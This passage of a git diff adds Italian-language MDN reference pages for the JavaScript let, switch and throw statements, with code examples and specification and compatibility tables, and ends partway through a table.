+ <dt>{{jsxref("Statements/function", "function")}}</dt>
+ <dd>Declares a function with the specified parameters.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/function*", "function*")}}</dt>
+ <dd>Generators functions enable writing <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>Specifies the value to be returned by a function.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/class", "class")}}</dt>
+ <dd>Declares a class.</dd>
+</dl>
+
+<h3 id="Iterations">Iterations</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd>
+ <dt>{{jsxref("Statements/for", "for")}}</dt>
+ <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd>
+ <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt>
+ <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd>
+ <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>Iterates over iterable objects (including <a href="https://developer.mozilla.org/en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="Array">arrays</a>, array-like objects, <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="Iterators and generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd>
+ <dt>{{jsxref("Statements/while", "while")}}</dt>
+ <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd>
+</dl>
+
+<h3 id="Others">Others</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/export", "export")}}</dt>
+ <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/import", "import")}}</dt>
+ <dd>Used to import functions exported from an external module, another script.</dd>
+ <dt>{{jsxref("Statements/label", "label")}}</dt>
+ <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd>
+</dl>
+
+<dl>
+ <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt>
+ <dd>Extends the scope chain for a statement.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: function*, let, for...of, yield, class</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Operators</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/let/index.html b/files/it/web/javascript/reference/statements/let/index.html
new file mode 100644
index 0000000000..7900b7673a
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/let/index.html
@@ -0,0 +1,208 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Statements/let
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'istruzione <strong>let </strong>dichiara una variabile locale nel blocco di codice e, facoltativamente, la inizializza ad un valore.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-let.html")}}</div>
+
+<div class="hidden">Il codice sorgente di questo esempio interattivo è salvato in un repository GitHub. Se tu volessi contribuire al progetto 'interactive examples', puoi clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e sottomettere una pull request.</div>
+
+<h2 id="Summary" name="Summary">Sintassi</h2>
+
+<pre class="syntaxbox notranslate">let <var>var1</var> [= <var>value1</var>] [, <var>var2</var> [= <var>value2</var>]] [, ..., <var>varN</var> [= <var>valueN</var>]];
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code><var>var1</var></code>, <code><var>var2</var></code>, …, <code><var>varN</var></code></dt>
+ <dd>Il nome della variabile o delle variabili da dichiarare. Devono essere identificatori JavaScript validi.</dd>
+ <dt><code><var>value1</var></code>, <code><var>value2</var></code>, …, <code><var>valueN</var></code> {{optional_inline}}</dt>
+ <dd>Per ogni variabile definita, è possibile specificare il valore iniziale usando qualunque espressione JavaScript valida.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><strong><code>let</code></strong> permette di dichiarare variabili limitandone la visibilità ad un {{jsxref("statements/block", "blocco di codice", "", 1)}}, o ad un'espressione in cui è usata, contrariamente alla parola chiave <a href="/it/docs/JavaScript/Reference/Statements/var" title="JavaScript/Reference/Statements/var"><code>var</code></a>, che invece definisce una variabile globalmente in uno script o localmente in una funzione a prescindere dal blocco di codice. L'altra differenza tra {{jsxref("statements/var", "var")}} e <code>let</code> è che la seconda è inizializzata ad un valore solo quando un parser la evaluta (vedi sotto).</p>
+
+<h2 id="Block_scoping" name="Block_scoping">Esempi</h2>
+
+<h3 id="Regole_di_visibilità">Regole di visibilità</h3>
+
+<p>Le variabili inizializzate da <code>let</code> sono legate al blocco dell'espressione in cui sono dichiarate. Il suo funzionamento è del tutto simile a quello di <code>var</code>, ma le variabili definite da quest'ultima istruzione sono sempre variabili globali a livello di programma o di funzione, hanno quindi una visibilità più ampia.</p>
+
+<pre class="notranslate">function varTest() {
+  var x = 1;
+  {
+    var x = 2;  // same variable!
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  {
+    let x = 2;  // different variable
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}</pre>
+
+<p>Dichiarare nuovamente la stessa variabile con <code>let</code> restituisce l'errore <code><a href="/it/docs/JavaScript/Reference/Global_Objects/TypeError" title="TypeError">TypeError</a>.</code></p>
+
+<pre class="brush: js notranslate"><code>
+if (x) {
+  let foo;
+  let foo; // lancia un errore TypeError.
+}</code></pre>
+
+<p>Se usata al livello più alto di programma, <code>let</code>, a differenza di <code>var</code>, non crea una proprietà seuul'oggetto globale. Per esempio:</p>
+
+<pre class="notranslate">var x = 'global';
+let y = 'global';
+console.log(this.x); // "global"
+console.log(this.y); // undefined</pre>
+
+<p>Potresti imbatterti in errori in un blocco <a href="/it/docs/JavaScript/Reference/Statements/switch" title="switch"><code>switch</code></a> perché i casi non vengono separati ma fanno parte tutti dello stesso blocco.</p>
+
+<pre class="brush: js notranslate"><code>
+switch (x) {
+  case 0:
+    let foo;
+    break;
+
+  case 1:
+    let foo; // TypeError for redeclaration.
+    break;
+}</code></pre>
+
+<h2 id="Examples" name="Examples"><code>Esempi</code></h2>
+
+<p>Una <em><code>let</code> expression</em> può essere usata per limitare la visibilità della variabile dichiarata alla sola espressione chiamata.</p>
+
+<pre class="brush: js notranslate"><code>
+var a = 5;
+let(a = 6) alert(a); // 6
+alert(a); // 5</code></pre>
+
+<p>Usando <code>let</code> in un blocco di codice ne limitiamo la visibilità al solo blocco racchiuso. Nel codice di esempio nota come le due assegnazioni nel blocco <code>if</code> diano due risultati diversi.</p>
+
+<pre class="brush: js notranslate"><code>
+var a = 5;
+var b = 10;
+
+if (a === 5) {
+  let a = 4; // La visibilità è dentro il blocco if
+  var b = 1; // La visibilità è dentro la funzione
+
+  console.log(a);  // 4
+  console.log(b);  // 1
+}
+
+console.log(a); // 5
+console.log(b); // 1</code></pre>
+
+<p>Puoi usare <strong><code>let</code></strong> come iteratore in un ciclo <strong><code>for</code></strong> invece di usare una nuova variabile globale.</p>
+
+<pre class="brush: js notranslate"><code>
+for (let i = 0; i&lt;10; i++) {
+  alert(i); // 1, 2, 3, 4 ... 9
+}
+
+alert(i); // i non è definita</code></pre>
+
+<p>Quando lavori con i costruttori puoi usare <code>let</code> per creare in'interfaccia privata senza chiusure.</p>
+
+<pre class="brush: js notranslate"><code>
+/*\
+|*|
+|*|  :: Una API pubblica e riutilizzabile per i costruttori ... ::
+|*|
+\*/
+
+let (
+  switchScope = function (oOwner, fConstructor) {
+    return oOwner &amp;&amp; oOwner.constructor === fConstructor ? oOwner : this;
+  }
+) {
+  function buildIndoors (fConstructor) {
+    const oPrivate = new fConstructor(this);
+    this.getScope = oPrivate.getScope = switchScope.bind(this, oPrivate);
+    return oPrivate;
+  }
+}
+
+/*\
+|*|
+|*|  :: Use of the *let* statement in order to create a private interface without closures... ::
+|*|
+\*/
+
+let (
+
+  /* "Secrets" is the constructor of the private interface */
+
+  Secrets = function Secrets (oPublic /* (the public interface) */) {
+    /* setting a private property... */
+    this.password = Math.floor(Math.random() * 1e16).toString(36);
+    /* you can also store the public interface into a private property... */
+    /* this.publicInterface = oPublic; */
+    alert("I\'m getting a public property from a private constructor...: somePublicProperty: " + oPublic.somePublicProperty);
+  }
+
+) {
+
+  /* "User" is the constructor of the public interface */
+
+  function User (sNick) {
+    /* setting a public property... */
+    this.somePublicProperty = "Hello World!";
+    const oPrivate = this.createScope(Secrets); /* (the private interface) */
+    /* setting a public property... */
+    this.user = sNick;
+    alert("I\'m getting a private property from a public constructor...: password: " + oPrivate.password);
+  }
+
+  User.prototype.somePublicMethod = function () {
+    const oPrivate = this.getScope(Secrets); /* (the private interface) */
+    alert("I\'m getting a public property from a public method...: user: " + this.user);
+    alert("I\'m getting a private property from a public method...: password: " + oPrivate.password);
+    oPrivate.somePrivateMethod();
+  };
+
+  Secrets.prototype.somePrivateMethod = function () {
+    const oPublic = this.getScope(); /* (the public interface) */
+    alert("I\'m getting a public property from a private method...: user: " + oPublic.user);
+    alert("I\'m getting a private property from a private method...: password: " + this.password);
+  };
+
+  /* ...creating a mutual access... */
+
+  User.prototype.createScope = buildIndoors;
+}
+
+/* out of the *let* statement you have not access to the private interface! */
+
+const johnSmith = new User("John Smith");
+johnSmith.somePublicMethod();</code></pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.statements.let")}}</p>
+
+<h2 id="See_also" name="See_also"></h2>
+
+<h2 id="See_also" name="See_also"><code>See also</code></h2>
+
+<ul>
+ <li><code><a href="/it/docs/JavaScript/Reference/Statements/var" title="JavaScript/Reference/Statements/var"><code>var</code></a></code></li>
+ <li><code><a href="/it/docs/JavaScript/Reference/Statements/const" title="JavaScript/Reference/Statements/const"><code>const</code></a></code></li>
+ <li><code><a href="/it/docs/JavaScript/New_in_JavaScript/1.7#Block_scope_with_let_(Merge_into_let_Statement)" title="JavaScript/New in JavaScript/1.7#Block scope with let (Merge into let Statement)">New in JavaScript 1.7</a></code></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/switch/index.html b/files/it/web/javascript/reference/statements/switch/index.html
new file mode 100644
index 0000000000..aef4d668ce
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/switch/index.html
@@ -0,0 +1,320 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Statements/switch
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+  - Web
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary"><code>Il<strong> comando</strong></code><strong><code>switch</code></strong> valuta un <a href="/it-IT/docs/Web/JavaScript/Guide/Expressions_and_Operators">espressione</a>, confronta il valore dell'espressione con ciascuna delle clausole <code>case</code> ed esegue i <a href="/it-IT/docs/Web/JavaScript/Reference/Statements">comandi</a> (<a href="/en-US/docs/Web/JavaScript/Reference/Statements">statements</a>) associati alla clausola (<code>case</code>) che verifica il confronto.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">switch (espressione) {
+  case valore1:
+    //Comandi eseguiti quando il valore dell'espressione coincide con valore1
+    [break;]
+  case valore2:
+    //Comandi eseguiti quando il valore dell'espressione coincide con valore2
+    [break;]
+  ...
+  case valoreN:
+    //Comandi eseguiti quando il valore dell'espressione coincide con valoreN
+    [break;]
+  default:
+    //Comandi eseguiti quando nessuno dei valori coincide col valore dell'epressione
+    [break;]
+}</pre>
+
+<dl>
+ <dt><code>espressione</code></dt>
+ <dd>Un'espressione il cui risultato è confrontato con ogni clausola case.</dd>
+ <dt><code>case valoreN</code></dt>
+ <dd>Clausola case usata nel confronto con l' <code>espressione</code>.</dd>
+ <dt><code>default</code></dt>
+ <dd>Una clausola <code>default</code> è facoltativa e, se specificata, la clausola viene eseguita se il valore dell'<code>espressione</code> non corrisponde a nessuna clausola <code>case</code>.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Un comando switch per prima cosa valuta <code>espressione</code>; poi cerca la prima clausola <code>case</code> la cui essa ha lo stesso valore del risultato dell'espressione di <code>switch</code> (utilizzando la <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">strict comparison</a>, <code>===</code>); quindi il comando <code>switch</code> trasferisce il controllo alla clausola <code>case</code>, eseguendone i comandi. Se più clausole <code>case</code> sono verificate dal confronto con l'espressione di <code>switch</code>,  viene scelta la prima che verifica il confronto, anche se le clausole non sono uguali. Se nessuna clausola <code>case</code> risulta verificata dal confronto, il programma cerca la clausola facoltativa <code>default</code>, e se la trova, trasferisce il controllo a questa, eseguendone i comandi. Se non viene trovata alcuna clausola <code>default</code>, il programma continua eseguendo il comando successivo alla fine del comando <code>switch</code>. Convenzionalmente, ma non necessariamente, la clausola <code>default</code> è l'ultima clausola.</p>
+
+<p>Il comando facoltativo <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> associato a ciascuna etichetta <code>case</code> assicura che, una volta eseguiti i comandi della clausola che verifica l'espressione di <code>switch</code>, il programma interrompa il comando switch e che continui eseguendo il comando successivo. Se il comando <code>break</code> viene omesso, il programma continua l'esecuzione dal comando successivo all'interno del comando di <code>switch</code>, quindi dal primo della successiva clausola <code>case</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_di_switch">Utilizzo di <code>switch</code></h3>
+
+<p>Nell'esempio seguente, se <code>expr</code> vale "Banane", il programma confronta il valore con la clausola "Banane" ed esegue i comandi associati. Quando incontra <code>break</code>, il programma interrompe il comando <code>switch</code> ed esegue il comando successivo a <code>switch</code>. Se <code>break</code> fosse omesso, sarebbero eseguiti anche i comandi della clausola "Ciliegie".</p>
+
+<pre class="brush: js">switch (expr) {
+  case "Arance":
+    console.log("Le arance costano €1,0 al chilo.");
+    break;
+  case "Mele":
+    console.log("Le mele costano €0.64 al chilo.");
+    break;
+  case "Banane":
+    console.log("Le banane costano €0.92 al chilo.");
+    break;
+  case "Ciliege":
+    console.log("Le ciliegie costano €2.59 al chilo.");
+    break;
+  case "Manghi":
+  case "Papaye":
+    console.log("I manghi e le papaye costano €1.79 al chilo.");
+    break;
+  default:
+    console.log("Spiacenti, non abbiamo " + expr + ".");
+}
+
+console.log("Desidera qualcos'altro ?");
+</pre>
+
+<h3 id="Cosa_accade_se_dimentico_un_break">Cosa accade se dimentico un <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(255, 255, 255, 0.4);">break</span></font>?</h3>
+
+<p>Se vi dimenticate un break, lo script partirà dalla clausola il cui criterio è verificato, e proseguirà con la clausola successiva anche se il criterio non era verifcato. Ecco alcuni esempi:</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+  case -1:
+    console.log('1 negativo');
+    break;
+  case 0: // foo è 0 quindi il criterio è verificato; questo blocco verrà eseguito
+    console.log(0);
+    // NOTA: il break dimenticato sarebbe dovuto essere qui
+  case 1: // manca il comando break in 'case 0:' quindi anche questo blocco sarà eseguito
+    console.log(1);
+    break; // incontra questo break così con proseguirà in 'case 2:'
+  case 2:
+    console.log(2);
+    break;
+  default:
+    console.log('default');
+}</pre>
+
+<h3 id="Posso_mettere_un_default_in_mezzo">Posso mettere un <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(255, 255, 255, 0.4);">default</span></font> in mezzo?</h3>
+
+<p>Certo che puoi! JavaScript passerà al default se non troverà nessun criterio corrispondente:</p>
+
+<pre><code>var foo = 5;
+switch (foo) {
+  case 2:
+    console.log(2);
+    break; // incontra un break, quindi non procederà automaticamente su "default:"
+  default:
+    console.log('default')
+    // non c'è un break, quindi verrà eseguito anche il contenuto di "case 1:"!
+  case 1:
+    console.log('1');
+}</code></pre>
+
+<p>Funziona anche se metti default prima di ogni altra clausola.</p>
+
+<h3 id="Riscrivere_molteplici_istruzioni_If_con_Switch">Riscrivere molteplici istruzioni If con Switch</h3>
+
+<p>Di seguito viene fornito un esempio:</p>
+
+<pre><code>var a = 100;
+var b = NaN;
+switch (true) {
+  case isNaN(a) || isNaN(b):
+    console.log('NaNNaN');
+    break;
+  case a === b:
+    console.log(0);
+    break;
+  case a &lt; b:
+    console.log(-1);
+    break;
+  default:
+    console.log(1);
+}</code></pre>
+
+
+
+<h3 id="Metodi_per_i_case_con_più_criteri">Metodi per i <code>case</code> con più criteri</h3>
+
+<p>I sorgenti per questa tecnica possono essere scaricati qui:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Multi-case_-_operazione_singola">Multi-case - operazione singola</h4>
+
+<p>Questo metodo si avvale del fatto che se non c'è un <code>break</code> break prima di un comando di <code>case</code> continuerà eseguento il successivo comando di <code>case</code> ingnorando se verifica il criterio di esecuzione. Vedi la sezione  "Cosa accade se dimentico un <code>break</code>?"</p>
+
+<p>Questo è un esempio di un comando di switch a singola operazione sequenziale, dove quattro valori diversi realizzano la stessa cosa.</p>
+
+<pre class="brush: js">var Animale = 'Giraffa';
+switch (Animale) {
+  case 'Mucca':
+  case 'Giraffa':
+  case 'Cane':
+  case 'Maiale':
+    console.log('Queso animale anndrà sull'Arca di Noè.');
+    break;
+  case 'Dinosauro':
+  default:
+    console.log('Questo animale non andrà.');
+}</pre>
+
+<h4 id="Multi-case_-_operazioni_concatenate">Multi-case - operazioni concatenate</h4>
+
+<p>Questo è un esempio di un comando di switch ad operazione multipla sequenziale, dove, a seconda del numero intero fornito, si ricevono diversi output. Mostra come sia possibile sfruttare l'ordine in cui sono scritte le clausole, e come non debbano essere numericamente in sequenza. In JavaScript, si possono anche inserire definizioni di stringhe nei comandi case.</p>
+
+<pre class="brush: js">var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+  case 10:
+    output += 'quindi ';
+  case 1:
+    output += 'quale ';
+    output += 'è ';
+  case 2:
+    output += ' il tuo ';
+  case 3:
+    output += 'nome';
+  case 4:
+    output += '?';
+    console.log(output);
+    break;
+  case 5:
+    output += '!';
+    console.log(output);
+    break;
+  default:
+    console.log('Per favore prendere un numero da 1 a 5 o 10!');
+}</pre>
+
+<p>Output per questo esempio:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Valore</th>
+   <th scope="col">Testo di log</th>
+  </tr>
+  <tr>
+   <td>foo è diverso da 1, 2, 3, 4, 5 or 10</td>
+   <td>Per favore prendere un numero da 1 a 5 o 10!</td>
+  </tr>
+  <tr>
+   <td>10</td>
+   <td>Output: quindi quale è il tuo nome?</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>Output: quale è il tuo nome?</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Output: il tuo nome?</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>Output: nome?</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Output: ?</td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td>Output: !</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale. Relaizzata in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/it-IT/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/throw/index.html b/files/it/web/javascript/reference/statements/throw/index.html
new file mode 100644
index 0000000000..1aecd9ca9a
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/throw/index.html
@@ -0,0 +1,195 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Statements/throw
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'istruzione <strong><code>throw</code> </strong>chiama un'eccezione definita dall'utente. L'esecuzione della funzione corrente si interrompe (ovvero i comandi successivi a <code>throw</code> non verranno eseguiti), e il controllo verrà passato al primo blocco <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> nella pila delle chiamate. Se non è previsto nessun blocco <code>catch</code> esiste nella funzione chiamante, il programma verrà terminato.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio è disponibile su una repository di GitHub. Se ti piacerebbe contribuire al progetto interattivo d'esempio, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e poi inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">throw <em>espressione</em>; </pre>
+
+<dl>
+ <dt><code>espressione</code></dt>
+ <dd>L'espressione da chiamare.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Usa l'istruzione <code>throw</code> per chiamare un'eccezione. Quando chiami un'eccezione, l'<code>espressione</code> specifica il valore dell'eccezione. Ognuna delle seguenti righe chiama un'eccezione.</p>
+
+<pre class="brush: js">throw 'Error2'; // genera un'eccezione con una stringa con valore Error2
+throw 42;       // genera un'eccezione con valore 42
+throw true;     // genera un'eccezione con valore true</pre>
+
+<p>Nota bene che l'istruzione <code>throw</code> viene gestita dall'<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> e quindi non puoi andare a capo fra <code>throw</code> e l'espressione.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Chiama_un_oggetto">Chiama un oggetto</h3>
+
+<p>Puoi specificare un oggetto quando chiami un eccezione. In seguito puoi riportare le proprietà dell'oggetto nel blocco <code>catch</code>. L'esempio seguente crea un oggetto di tipo <code>UserException</code> e poi lo usa nell'istruzione <code>throw</code>.</p>
+
+<pre class="brush: js">function UserException(message) {
+   this.message = message;
+   this.name = 'UserException';
+}
+function getMonthName(mo) {
+   mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+   var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+      'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+   if (months[mo] !== undefined) {
+      return months[mo];
+   } else {
+      throw new UserException('InvalidMonthNo');
+   }
+}
+
+try {
+   // statements to try
+   var myMonth = 15; // 15 is out of bound to raise the exception
+   var monthName = getMonthName(myMonth);
+} catch (e) {
+   monthName = 'unknown';
+   console.log(e.message, e.name); // pass exception object to err handler
+}
+</pre>
+
+<h3 id="Un_altro_esempio_di_chiamata_ad_un_oggetto">Un altro esempio di chiamata ad un oggetto</h3>
+
+<p>L'esempio seguente testa una stringa in input per un codice postale di avviamento postale (CAP) americano. Se il CAP fornito è in un formato non valido, l'istruzione throw chiama un'eccezione creando un oggetto di tipo <code>ZipCodeFormatException</code>.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // zip code value will be the first match in the string
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipCodeFormatException(zip);
+   }
+}
+
+function ZipCodeFormatException(value) {
+   this.value = value;
+   this.message = 'does not conform to the expected format for a zip code';
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipCodeFormatException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = verifyZipCode(95060);         // returns 95060
+b = verifyZipCode(9560);          // returns -1
+c = verifyZipCode('a');           // returns -1
+d = verifyZipCode('95060');       // returns 95060
+e = verifyZipCode('95060 1234');  // returns 95060 1234
+</pre>
+
+<h3 id="Richiamare_un'eccezione">Richiamare un'eccezione</h3>
+
+<p>Puoi usare <code>throw</code> per richiamare un'eccezione dopo averla già gestita. L'esempio seguente gestisce un'eccezione con un valore numerico e la richiama se tale valore supera 50. Un'eccezione richiamata si propaga fino alla funzione che la racchiude oppure fino al livello più alto in modo che l'utente la veda.</p>
+
+<pre class="brush: js">try {
+   throw n; // throws an exception with a numeric value
+} catch (e) {
+   if (e &lt;= 50) {
+      // statements to handle exceptions 1-50
+   } else {
+      // cannot handle this exception, so rethrow
+      throw e;
+   }
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
